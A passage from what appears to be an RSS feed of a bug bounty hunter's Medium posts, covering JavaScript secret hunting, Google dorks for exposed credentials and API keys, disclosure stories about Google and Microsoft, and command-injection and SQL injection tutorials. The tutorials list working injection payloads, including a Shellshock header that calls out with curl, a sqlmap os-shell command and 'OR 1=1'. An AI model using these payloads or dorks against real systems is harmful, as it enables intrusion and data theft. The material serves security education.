controls.</li></ul><p>const debugMode = true;</p><ul><li><strong>User Data &amp; Personal Information</strong> — Some applications accidentally expose email addresses, phone numbers, or other personally identifiable information (PII) in JavaScript files, leading to privacy risks and phishing attacks.</li></ul><pre>const userEmail = &quot;admin@example.com&quot;;</pre><h3>Preventing Information Disclosure in JavaScript Files</h3><p>To minimize these risks, developers should:</p><ul><li>Avoid hardcoding sensitive data.</li><li>Use environment variables for credentials.</li><li>Implement proper API access controls.</li><li>Always minify and obfuscate JavaScript files before deployment.</li><li>Regularly scan and audit JavaScript files to identify and mitigate potential exposures before they become security threats.</li></ul><p><strong>How to Find Information Disclosure in JavaScript Files ?</strong></p><p>Finding sensitive information in JavaScript (.js) files is a crucial part of reconnaissance in bug bounty hunting and security research. Below is a step-by-step method to extract JavaScript files and manually analyze them for information disclosures.</p><h4>Step 1: Find Subdomains &amp; Alive Domains</h4><p>First, gather all subdomains of the target and filter out the alive ones. Tools like subfinder, assetfinder, and httpx can be useful.</p><h4>Step 2: Extract JavaScript Files Using Katana</h4><p>Use katana to extract JavaScript file URLs from alive domains:</p><pre>cat alive.txt | katana -u -o katana.txt</pre><h4>Step 3: Filter JavaScript Files</h4><p>Extract only the JavaScript URLs containing the target domain (replace dhs.gov with your target domain):</p><pre>grep -E &quot;(example\.gov|example\.gov|example\.gov|example\.gov)&quot; allurls.txt &gt; allurls_filtered.txt &amp;&amp; mv allurls_filtered.txt allurls.txt<br>grep -E &quot;(example\.gov|example\.gov|example\.gov|example\.gov)&quot; allurls.txt | grep -E &quot;\.js(\?|$)&quot; &gt; js.txt</pre><h4>Step 4: Manual Analysis of JavaScript Files</h4><p>Since automated tools may miss certain disclosures, manual inspection is preferred for accuracy. Open the JavaScript files in Chrome and search for sensitive keywords using Ctrl + F:</p><p><strong>Look for keywords such as:</strong></p><ul><li>api_key / apikeys</li><li>username=</li><li>password</li><li>admin</li><li>root</li><li>api</li><li>.git</li><li>oauth</li><li>token</li></ul><p>For example, open example.com/user.js in Chrome and search for the above terms to locate sensitive data.</p><h4>Why Manual Methods?</h4><p>While automated scanners exist, manual analysis often yields better results, especially when dealing with obfuscated or minified JavaScript files. This method ensures accurate findings with minimal false positives.</p><p><strong>I hope you found this write-up helpful in your bug bounty and ethical hacking journey! 🚀 If you enjoyed it, make sure to follow me and support my work for more detailed write-ups on cybersecurity, hacking techniques, and reconnaissance tips.</strong></p><p><strong>Stay tuned for more, and don’t forget to follow me on Instagram @xabit___ for regular updates and insights.</strong> <em>Happy hacking! 🔥💻 #BugBounty #EthicalHacking #CyberSecurity</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aee4d8be396d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google Dorking: A Powerful Technique for Bug Bounty and Ethical Hacking]]></title>
            <link>https://rootxabit.medium.com/google-dorking-a-powerful-technique-for-bug-bounty-and-ethical-hacking-f2fecd9b218e?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2fecd9b218e</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[viral]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Sat, 29 Mar 2025 02:09:39 GMT</pubDate>
            <atom:updated>2025-03-29T02:16:54.467Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_9Dfq_kcWyNgwnQdWS6QA.jpeg" /><figcaption>Hacking with Google</figcaption></figure><p>Hello everyone! My name is <strong>XABIT</strong> , and I am an <strong>Ethical Hacker</strong> and <strong>Cybersecurity Researcher</strong>. Today, I’ll be discussing the <strong>importance of Google Dorks</strong> in <strong>bug bounty</strong> and <strong>ethical hacking</strong>. If used correctly, Google Dorking can help security researchers uncover <strong>sensitive data</strong>, misconfigurations, and potential vulnerabilities. However, if misused, it can lead to serious consequences. So, let’s dive in!</p><h3>What is Google Dorking?</h3><p>Google Dorking, also known as Google Hacking, is a legitimate technique used by cybersecurity professionals to find publicly exposed sensitive information through Google search queries. By using specially crafted search operators, one can locate usernames, passwords, exposed files, admin panels, and even confidential documents that organizations may have unintentionally made accessible.</p><p><strong>Why is Google Dorking Important in Ethical Hacking and Bug Bounty?</strong><br>1. Information Gathering — Before launching any penetration test or bug bounty assessment, reconnaissance is key. Google Dorks help find useful information without directly interacting with the target.</p><p>2. Identifying Sensitive Files — Many websites accidentally expose database files, credentials, and internal documents that can be found using filetype-based queries.</p><p>3. Finding Vulnerable Admin Panels — Attackers can look for misconfigured or publicly accessible admin pages, allowing ethical hackers to report and secure such issues before they are exploited.</p><p>4. Exposing Security Misconfigurations — Misconfigured directories, log files, and backup files can often be indexed by Google and retrieved via dorking.</p><p>5. Efficient and Time-Saving — Instead of manually checking thousands of pages, Google Dorking automates information retrieval using powerful search operators.</p><h3>Google Dorking Operators</h3><p>To effectively use Google Dorking, we utilize <strong>advanced search operators</strong>. Here are some of the most commonly used ones:</p><p>Operator Description Example :</p><p><strong>site:</strong>Searches within a specific website</p><p>site:example.com</p><p><strong>filetype:</strong>Finds specific file types (e.g., PDF, TXT)</p><p>filetype:pdf &quot;confidential&quot;</p><p><strong>inurl: </strong>Looks for keywords in URLs</p><p>inurl:admin</p><p><strong>intitle: </strong>Searches for keywords in page titles</p><p>intitle:&quot;index of&quot;</p><p><strong>intext: </strong>Finds specific text within web pages</p><p>intext:&quot;password&quot;</p><p><strong>ext:</strong>Similar to filetype, searches for file extensions</p><p>ext:txt &quot;private key&quot;</p><p><strong>&quot;keyword&quot;</strong>Searches for exact phrases</p><p>&quot;confidential data&quot;</p><p><strong>Google Dorking in Bug Bounty Hunting :</strong><br><em>Bug bounty hunters often use specific keywords to find sensitive data. Some useful dorking queries include:</em></p><p>1. Finding Exposed Credentials:<br>filetype:txt “username” “password” site:example.com <br>This query searches for text files containing usernames and passwords within a particular site.</p><p>2. Identifying Open Databases:<br>site:example.com ext:sql | ext:db | ext:bak <br>This helps in locating SQL databases or backup files that may contain sensitive user data.</p><p>3. Discovering Admin Panels:<br>inurl:admin login site:example.com <br>Used to find administrator login pages that might be unprotected or vulnerable.</p><p>4. Searching for Exposed API Keys:<br>filetype:env “API_KEY” | “SECRET_KEY” <br>This searches for configuration files containing API keys, which could be exploited by attackers if not properly secured.</p><p>5. Locating Confidential Documents:<br>filetype:pdf “confidential” site:example.com <br><strong>Helps find sensitive PDF files that may have been accidentally indexed by Google.</strong></p><h3>Precautions and Responsible Usage</h3><p>Although Google Dorking is a <strong>powerful tool</strong>, it must be used <strong>ethically</strong> and responsibly. <strong>Never misuse Google Dorks to access or exploit sensitive data unlawfully</strong>. Always report vulnerabilities responsibly through <strong>bug bounty programs</strong> or <strong>responsible disclosure policies</strong>.</p><h3>Legal and Ethical Considerations</h3><ul><li><strong>Never use dorking to access or steal private data.</strong></li><li><strong>Always have permission before testing a target website.</strong></li><li><strong>Follow bug bounty platform guidelines (HackerOne, Bugcrowd, etc.).</strong></li><li><strong>Report security issues responsibly instead of exploiting them.</strong></li></ul><h3>Conclusion</h3><p>Google Dorking is a <strong>crucial skill</strong> in ethical hacking and bug bounty hunting. It allows security researchers to uncover <strong>publicly exposed data</strong> and help <strong>organizations fix security flaws</strong> before they can be exploited by malicious actors. However, it should always be used <strong>legally and ethically</strong> to ensure responsible cybersecurity practices.</p><p>If you found this write-up useful, make sure to <strong>follow me on Instagram </strong><a href="https://instagram.com/xabit___"><strong>@xabit___</strong></a> and stay tuned for more cybersecurity insights! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2fecd9b218e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacked My Way Into Google’s Hall of Fame!  The Relentless Bug Bounty Hunt]]></title>
            <link>https://rootxabit.medium.com/hacked-my-way-into-googles-hall-of-fame-the-relentless-bug-bounty-hunt-75d9d2cdd8a0?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/75d9d2cdd8a0</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Wed, 19 Feb 2025 16:13:07 GMT</pubDate>
            <atom:updated>2025-02-19T16:13:07.361Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello, guys!</strong> I’m back! My name is zabit — a passionate <strong>ethical hacker</strong> and a <strong>part-time bug bounty hunter</strong>. Today, I’m bringing you a journey that was <strong>not just a challenge but a war against myself</strong> — a relentless <strong>battle of me vs. me</strong> that led me to <strong>secure my spot in Google’s Hall of Fame</strong>, ranking <strong>2000th in India</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*1tABN_fxgP8a6rY7LpZw9w.png" /></figure><p>So, let’s dive straight into it — no boring intros, just pure <strong>adrenaline-fueled hacking madness!</strong></p><h3>The Beginning of an Obsession</h3><p>A few months ago, an idea struck me — <strong>what if I made my mark on Google?</strong> What if I could <strong>hunt for vulnerabilities, break into their systems ethically, and earn a spot in their legendary Hall of Fame?</strong></p><p>And so, in <strong>December 2024</strong>, I created my <strong>Bug Hunters Google platform account</strong> with a single goal — <strong>find a high-impact vulnerability</strong> and either <strong>get rewarded</strong> or <strong>earn the Hall of Fame recognition</strong>.</p><p>January came, and my hunt began. At first, it was just <strong>1–2 hours a day</strong>, testing the waters — <strong>subdomain enumeration, JS file analysis, sensitive data exposure checks</strong>, all the usual recon stuff. But as the days passed, <strong>my hunger grew</strong>. I <strong>doubled down</strong>, pushing from <strong>2 hours to 5–6 hours daily</strong>, <strong>obsessing over Google’s functionalities, looking for any loophole that could create massive impact.</strong></p><p>But luck wasn’t on my side. <strong>Nothing. No major finds. No success.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*xCWGGL9QKo0wy3O6CyoI4A.png" /></figure><h3>From Frustration to Strategy — Using Google Against Google</h3><p>If the standard hunting techniques weren’t working, <strong>I had to think differently.</strong> Instead of just looking for vulnerabilities, I decided to <strong>turn Google’s own functionalities against itself</strong> — to <strong>create an impact so massive that they couldn’t ignore it.</strong></p><p>That’s when I <strong>struck gold</strong> — <strong>3 to 5 high-impact abuse-related vulnerabilities</strong>. My heart pounded as I submitted them, confident that <strong>this was it!</strong> But… <strong>BOOM!</strong></p><p>❌ <strong>All of them got triaged.</strong></p><p>At first, I thought, <strong>“Okay, at least they’re acknowledged.”</strong> But then, the <strong>biggest heartbreak</strong> — <strong>they got marked as duplicates!</strong> <strong>DUPLICATES!</strong> 😡</p><p>I was furious. <strong>All my hard work, gone.</strong> But I refused to back down. <strong>I had come too far to quit.</strong></p><h3>The Rollercoaster of Highs and Lows</h3><p>Fueled by frustration, I went in even harder. Then, <strong>I found an SSRF vulnerability with internal port scanning.</strong> <strong>This was huge!</strong> I could <strong>scan internal ports</strong>, something that <strong>could have led to serious security issues</strong>.</p><p>I submitted it with confidence, only to see it get <strong>closed as intended behavior.</strong></p><p>Another heartbreak. 💔</p><p>Still, I refused to stop. I <strong>found sensitive data exposure</strong>, only to get <strong>another rejection</strong> — <strong>user’s fault, not Google’s.</strong></p><p>At this point, I was mentally exhausted. <strong>Days of hunting. Zero wins.</strong> But I had already stepped into the battlefield. <strong>There was no going back now.</strong></p><p>Then came <strong>February</strong>, and I finally had a breakthrough — I discovered an <strong>Exif vulnerability.</strong></p><p>This had to be <strong>THE ONE.</strong></p><p>I submitted it, anxiously waiting… and then, the <strong>unthinkable happened</strong> — <strong>DUPLICATE. AGAIN.</strong> 😵‍💫</p><p>I was in shock. <strong>What was happening?</strong> <strong>Why was everything getting marked as duplicate?</strong></p><p>At that moment, most people would have given up. But <strong>not me.</strong> If there was even a <strong>1% chance, I was taking it.</strong></p><h3>The Final Strike — A Hall of Fame-Worthy Find</h3><p>Pushing through exhaustion and frustration, I <strong>kept digging</strong>. Then, I stumbled upon something <strong>insane</strong> — <strong>a major vulnerability in Gemini</strong> (can’t disclose details as it’s still unfixed).</p><p>But given my history with <strong>duplicates</strong>, I knew I couldn’t stop here. <strong>I had to keep going.</strong></p><p>And then, it happened — <strong>I found something explosive.</strong></p><p>Google had <strong>accidentally exposed confidential information belonging to another highly reputed company.</strong></p><p>I couldn’t believe my eyes. <strong>Trade secrets. Sensitive data. Critical information.</strong></p><p>This was <strong>serious.</strong></p><p>I quickly reported it, expecting an immediate impact. But <strong>LOL — it got marked as not applicable!</strong> 🤡</p><p><strong>No way.</strong></p><p>I wasn’t about to let this go. <strong>I went back, analyzed the document again, and rewrote my report.</strong> This time, I focused on the <strong>real implications of the exposure.</strong></p><p>And then…</p><p>💥 <strong>BOOM! Triage.</strong></p><p>A message popped up: <strong>“We have filed this bug to the team and will inform you shortly.”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*UqsWoTJRHclP9OVXV_NX5g.png" /><figcaption>THIS WAS ACCEPTED AS A VALID BUG</figcaption></figure><h3>Victory — A Name Etched in History</h3><p>A few days later, I casually checked my Google Bug Hunters ID… and <strong>there it was</strong> —</p><p>🔥 <strong>MY NAME IN GOOGLE’S HALL OF FAME.</strong> 🔥</p><p><strong>I had done it.</strong> After <strong>months of grinding, frustration, failures, heartbreaks, and relentless effort, I had finally won.</strong></p><p>I am now officially recognized as a <strong>Google Security Researcher</strong>, and my name is forever etched in the <strong>Hall of Fame.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcxudC0f6BxD6kgOg40WOQ.png" /></figure><p>This wasn’t just a win for me — it was proof that <strong>no matter how many times you fall, you get back up, and you keep fighting.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fW1mUOykdcGMEBIkRRMPlg.png" /></figure><p>If you’re on your own hacking journey, <strong>remember this — NEVER GIVE UP.</strong></p><p>Because <strong>the moment you decide to keep going is the moment you win.</strong></p><p>🚀 <strong>Keep hacking, keep learning, and one day, you’ll make history too.</strong></p><p>If you enjoyed this journey and want more hacking content, <strong>make sure to follow me on Instagram [ </strong><a href="https://www.instagram.com/xabit___/"><strong>@xabit___</strong></a><strong> ] and here on Medium</strong> for more stories, techniques, and bug bounty experiences!</p><p>🔥 <strong>The grind never stops.</strong> See you in the next one! 💻⚡</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75d9d2cdd8a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found a Sensitive Data Leak in Microsoft!” ]]></title>
            <link>https://rootxabit.medium.com/how-i-found-a-sensitive-data-leak-in-microsoft-6c20c66d0ead?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c20c66d0ead</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[microsoft]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 07:13:48 GMT</pubDate>
            <atom:updated>2025-02-20T02:38:41.508Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*kr05itMQJLhNri_qv7b0UA.jpeg" /><figcaption>me trying to hack google hehe !</figcaption></figure><p><strong>Hey everyone, this is zabit! I’m an ethical hacker and a part-time bug bounty hunter. But this story? This one’s different. It’s about how a day of frustration turned into a thrilling hunt, leading me straight to an information disclosure vulnerability in Microsoft. Buckle up! 🚀</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*arIPFKCtPyZ13FHsfluEzg.png" /></figure><h3>The Day of Boredom &amp; Heartbreak 💔</h3><p>It all started with a rough day. I was on a self-hosted bug hunting spree, chasing down vulnerabilities, <strong>but all I got was silence — no replies, no acknowledgments, nothing</strong>. The <strong>disappointment</strong> was real, and honestly, I felt like giving up for the day.</p><p>Scrolling through my feed with <strong>zero motivation</strong>, I suddenly came across a post about <strong>Microsoft’s Bug Bounty Program</strong>. That caught <strong>my attention</strong>. Not just because of the <strong>rewards</strong>, but because of something even better — <strong>if a submission is valid but doesn’t qualify for a bounty, they still acknowledge you in their Hall of Fame.</strong> That was it. I snapped out of my slump, fired up my tools, and locked onto a new target: <strong>Microsoft.</strong></p><h3>The Recon Begins 🔍</h3><p>I went all in. <strong>Subfinder, Amass, httpx-toolkit</strong> — I ran everything I had, digging deep for critical endpoints. This time, I wasn’t after low-impact bugs. I wanted something big — <strong>SQLi, RCE, command injection, information disclosure — anything with a visible impact.</strong></p><p>The hunt wasn’t easy. I tested for SQL injection via headers, parameters, cookies — nothing. Command injection? No luck. File uploads? Still nothing. Frustration started creeping in again, but I wasn’t stopping this time.</p><h3>Shifting Tactics — Hunting for Sensitive Data 🕵️</h3><p>Since technical vulnerabilities weren’t showing up, I switched my approach. Instead of looking for direct exploits, I <strong>hunted for sensitive data</strong> — things that weren’t meant to be public.</p><p>🔹 I <strong>dug through archived data</strong> using <strong>Wayback Machine</strong>.<br>🔹 I <strong>scraped JavaScript files</strong>, hoping to uncover <strong>hardcoded credentials</strong>.<br>🔹 I started <strong>analyzing internal documents and product information</strong>.</p><p>And then — <strong>BAM! Jackpot.</strong> I found <strong>trade secrets</strong> exposed on a subdomain — let’s call it <strong>xyz.microsoft.com</strong> (not the real name, of course). This was serious. The documents contained enough sensitive details that, if misused, could have caused major problems for Microsoft.</p><h3>The Final Push — A Backup Report &amp; Responsible Disclosure 📜</h3><p>Finding one vulnerability wasn’t enough. I wanted to submit something rock solid, so I dug deeper and uncovered a <strong>technical vulnerability</strong> that I can’t disclose yet (since it’s still being patched).</p><p>With everything ready, I <strong>drafted my reports</strong> and sent them to Microsoft. And then, the waiting game began…</p><h3>The Microsoft Response — Fast, Professional &amp; Appreciative</h3><p>To my surprise, Microsoft’s <strong>response time was amazing</strong>. They immediately acknowledged the report and began reviewing the issue. Here’s how it went down:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qak4KO6UTYcXbmHfZK0ALQ.png" /></figure><p>✅ <strong>Status changed from New to Review / Repro</strong> — <em>Jan 31, 2025</em><br>✅ <strong>Confirmed vulnerability &amp; fixed it instantly</strong> — <em>Feb 6, 2025, 9:30 PM</em><br>✅ <strong>Reviewing for bounty</strong> — <em>Feb 12, 2025</em><br>✅ <strong>Status changed from Pre-Release to Complete</strong> — <em>Feb 12, 2025</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkL23ktIm7gbuprs3-669w.png" /></figure><h3>Why Microsoft’s Bug Bounty Program is Amazing 💙</h3><p>If you’re into bug hunting, I <strong>highly recommend</strong> working with Microsoft. They never disappoint. Their <strong>professionalism, clear communication, and quick response times</strong> make it a great experience. And whether you get a bounty or not, they <strong>always recognize valid submissions</strong> — which is rare in the bug bounty world.</p><h3>Final Thoughts &amp; What’s Next?</h3><p>This experience taught me that <strong>even on the most frustrating days, persistence pays off.</strong> You never know when you’ll stumble upon something big.</p><p>I’ll update this post once my name is in the <strong>Microsoft Hall of Fame</strong>! Until then, keep hunting, stay motivated, and don’t forget to follow me <strong>here and on Instagram (@xabit___)</strong> for more stories like this.</p><p>Thanks for reading — <strong>happy hacking!</strong> 🔥💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c20c66d0ead" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Command Execution in Bug Bounties: How to Find, Test, and Exploit]]></title>
            <link>https://rootxabit.medium.com/command-execution-in-bug-bounties-how-to-find-test-and-exploit-4f863c4a7240?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f863c4a7240</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[website-hacking]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Sat, 15 Feb 2025 10:48:03 GMT</pubDate>
            <atom:updated>2025-02-15T10:58:03.948Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iS-qEigIGNe6JDQ3G4AZbQ.jpeg" /></figure><p>Command execution vulnerabilities occur when an application improperly processes user-supplied input, allowing an attacker to execute system commands on the underlying server. These are <strong>high-severity</strong> vulnerabilities that can lead to <strong>server compromise, data exfiltration, or privilege escalation</strong>.</p><h3>1. Understanding Command Execution Vulnerabilities</h3><p>Command execution occurs when an application allows user-controlled input to be executed as a system command. This usually happens due to improper input sanitization in web applications that invoke system utilities.</p><h3>Types of Command Execution</h3><ul><li><strong>Remote Code Execution (RCE)</strong>: Allows an attacker to execute arbitrary commands remotely.</li><li><strong>OS Command Injection</strong>: Occurs when user input is concatenated into a system command without proper sanitization.</li></ul><h3>Common Entry Points</h3><ul><li>File upload mechanisms</li><li>Debug parameters</li><li>API endpoints</li><li>Form fields</li><li>Headers such as User-Agent or X-Forwarded-For</li><li>URL query parameters</li></ul><h3>There are several manual and automated methods to detect command injection vulnerabilities.</h3><p><strong>A. Manual Testing :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*I03hUA8o2nIdf9z318PWsg.png" /></figure><ol><li><strong>Identify Areas Where Commands May Be Executed</strong> :</li></ol><ul><li>Look for places where the application interacts with the system (eg., ping, nslookup, curl, zip).</li><li>Check input fields that interact with system commands.</li></ul><p>2. <strong>Inject Command Execution Payloads :</strong></p><p>Try injecting system commands into fields or parameters, separated by operators:</p><p>Linux: ;id , &amp;&amp; id , | id , $(id) , `id`</p><p>Windows: &amp; whoami , | whoami , &amp;&amp; whoami</p><p>If the response contains system information, the application is vulnerable.</p><p>3. <strong>Use Time-Based Testing</strong><br>Some apps filter output, so you can test using <strong>time delays</strong>:</p><ul><li>Linux: sleep 10 , ; sleep 10 , &amp;&amp; sleep 10</li></ul><p>[ ping -n 10 127.0.0.1 ] : If the server takes longer to respond, it indicates command execution.</p><p><strong>4. Check Error Messages for Clues:</strong></p><p>Some applications return error messages like: sh: 1: id: not found</p><p>These messages indicate <strong>command execution is attempted but failed</strong>.</p><h3>2. Automated Testing</h3><p>You can automate command execution testing using tools:</p><ol><li><strong>Burp Suite Intruder</strong></li></ol><ul><li>Use payloads with common command separators (&amp;&amp;, |, ;).</li><li>Look for differences in response times or output.</li></ul><ol><li><strong>Commix</strong></li></ol><ul><li>Automates command injection exploitation.</li></ul><p>Example usage: commix — url=”<a href="http://target.com/vuln.php?param=1">http://target.com/vuln.php?param=1</a>&quot;</p><p><strong>5. SQLMap (For SQL + Command Execution)</strong></p><ul><li>Some SQLi vulnerabilities allow command execution via xp_cmdshell (SQL Server).</li><li>Example:</li><li>sqlmap -u &quot;http://target.com/index.php?id=1&quot; --os-shell</li></ul><h3>3. Where to Test for Command Execution</h3><h3>A. Web Inputs</h3><ul><li><strong>Search bars</strong></li><li><strong>Login forms</strong></li><li><strong>Comment sections</strong></li><li><strong>File upload features</strong> (try uploading a PHP reverse shell)</li><li><strong>Signup forms</strong> (some applications execute commands for email verification)</li></ul><h3>B. Headers</h3><ul><li><strong>User-Agent :</strong></li><li>User-Agent: () { :; }; /bin/bash -c &#39;curl <a href="http://your-server.com&#39;">http://your-server.com&#39;</a></li></ul><p>X-Forwarded-For : X-Forwarded-For: 127.0.0.1; id</p><p><strong>C. API Endpoints: </strong><br>Some APIs accept system parameters<br>GET /api/ping?host=127.0.0.1;id<br>Inject payloads into query parameters.</p><p><strong>command execution vulnerabilities are among the most critical and rewarding to find in bug bounty programs. They are high-impact, often leading to full system compromise if exploited. The key is to practice consistently, refine your methodology, and always follow ethical guidelines when testing.</strong></p><p>🚀 Final Pro Tips for Bug Bounty Hunters<br>✅ Follow Ethical Hacking Guidelines — Always report responsibly.<br>✅ Practice in Labs — Platforms like Hack The Box, PortSwigger Labs, and TryHackMe are great for mastering command execution testing.<br>✅ Keep Notes — Document payloads, techniques, and successful attack patterns. These notes will help you when you’re on a real hunt.<br>✅ Stay Updated — Web technologies evolve, so keep learning about new attack vectors.<br>🛠️ Small bricks build a big palace! Keep grinding, testing, and improving your skills! 🔥💪<br>👉 Don’t forget to follow me for more hacking insights! Happy hunting! 🎯🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f863c4a7240" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering SQL Injection: Detection, Exploitation & Automation Guide ]]></title>
            <link>https://rootxabit.medium.com/mastering-sql-injection-detection-exploitation-automation-guide-7f0195fe435d?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f0195fe435d</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sqlinjectiontypes]]></category>
            <category><![CDATA[zero-day-vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Thu, 13 Feb 2025 04:47:26 GMT</pubDate>
            <atom:updated>2025-02-13T04:47:26.693Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello</strong> everyone, my name is <strong>xabit</strong>. I’m an ethical hacker and cybersecurity researcher. Today, I’ll be teaching you the basics of <strong>SQL Injection</strong> and how to <strong>exploit</strong> it. <strong>Understanding</strong> this will help you tackle <strong>real-world web applications more effectively</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VVfEh_ErvNIR1xoqRy9QGQ.png" /></figure><p><strong>What is SQL Injection?</strong><br><strong>SQL Injection (SQLi) </strong>is a type of <strong>injection attack</strong> that allows an attacker to execute <strong>malicious database queries or commands</strong>. This can lead to <strong>unauthorized access, data leakage, or even full control over a web application’s database</strong>. SQL Injection remains one of the <strong>most critical vulnerabilities commonly found in modern web applications.</strong></p><p><strong>Types of SQL Injection</strong><br>1.<strong> In-Band SQL Injection </strong>(Easiest to detect and exploit) : <br>The attacker uses the same communication channel to both send the malicious query and receive the extracted data.<br><strong>Classifications:</strong><br><em>Error-Based SQLi:</em> The attacker forces the database to generate errors, revealing sensitive information.<br><em>Union-Based SQLi</em>: Uses the UNION SQL operator to combine query results with existing data from the database.</p><p>2. <strong>Out-of-Band SQL Injection </strong>(Used when direct responses are unavailable) :</p><p><em>This method relies on different communication channels to retrieve data, often using DNS or HTTP requests to exfiltrate information.</em><br><strong>Classifications:</strong><br><strong>Exfiltration-Based SQLi: Data is sent to an external server controlled by the attacker.</strong></p><p>3. <strong>Blind SQL Injection</strong> (Harder to detect, as no output is directly shown)<br>Attackers must infer database behavior based on response delays, boolean logic, or other indirect clues.<br><strong>Classifications:</strong><br><em>Boolean-Based SQLi</em>: The attacker sends queries that return different responses based on true/false conditions.<br><em>Time-Based SQLi:</em> The attacker uses time delays to determine whether the application is vulnerable by observing response times.</p><p><strong>Where Does SQL Injection Occur?</strong><br><em>SQL Injection</em> mostly occurs in the <strong>WHERE clause</strong> of an SQL query, where user input is used to filter data. A typical <strong>vulnerable query </strong>looks like this:</p><p>SELECT * FROM users WHERE id = 1;<br><strong>This uses where clause and retrieves the user with id 1 and if and attacker uses a malicious payload like [ OR 1=1 — — ] it may reveal all users .</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cctUSqFf8khbA_ALNVkbSg.png" /></figure><h3>Understanding SQL Injection Classifications Before Exploitation</h3><p>1. <em>Error-Based SQL Injection </em>: This technique forces the database to return error messages, which may reveal sensitive information about the database structure.</p><p>2. <em>Union-Based SQL Injection</em> : This method uses the UNION operator to merge results from multiple queries, allowing an attacker to extract data from other tables.</p><p>3. <em>Blind SQL Injection</em> : When no error messages or visible output are returned, attackers infer database behavior by analyzing responses, using techniques like:</p><p><em>Boolean-Based SQLi</em>: Manipulating conditions to trigger different responses.<br><em>Time-Based SQLi</em>: Using time delays to determine if the injection is successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*xRS90GiSfZO9ocPgdSeX1A.png" /></figure><h3>Detection and Exploitation Phase</h3><p>Now that we understand the classifications of SQL Injection, let’s move on to the <strong>detection and exploitation</strong> phase. In this stage, we will identify vulnerabilities in web applications and learn how to exploit them effectively.</p><p>We’ll cover:<br>✅ How to detect SQL Injection vulnerabilities<br>✅ Testing for different types of SQLi (Error-Based, Union-Based, Blind)<br>✅ Extracting data from the database</p><p>Let’s get started! 🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*kkn8zD4cVjN0etKoFxYKEQ.png" /></figure><h3>Detecting SQL Injection Vulnerabilities</h3><p>To determine if a web application is vulnerable to SQL Injection, we can test how it handles user input in SQL queries.</p><h4>Example:</h4><p>Consider the following URL: <a href="https://example.com/page.php?id=12">https://example.com/page.php?id=12</a></p><p>We can check for SQL Injection by modifying the id parameter:</p><ol><li>Testing for Error-Based SQL Injection:</li></ol><p>Append a <strong>single (</strong><strong>&#39;) or double quote (</strong><strong>&quot;)</strong> to the parameter:</p><p>[ <a href="https://example.com/page.php?id=12&#39;">https://example.com/page.php?id=12&#39;</a> ] If the application returns an error like : You have an error in your SQL syntax</p><p>It indicates that the application is vulnerable to <strong>Error-Based SQL Injection</strong>.</p><p><strong>Testing for Blind SQL Injection:</strong></p><ul><li>If adding a single quote <strong>removes or alters the page content</strong> without displaying an error, the application may be vulnerable to <strong>Blind SQL Injection</strong></li></ul><p><strong>Confirming 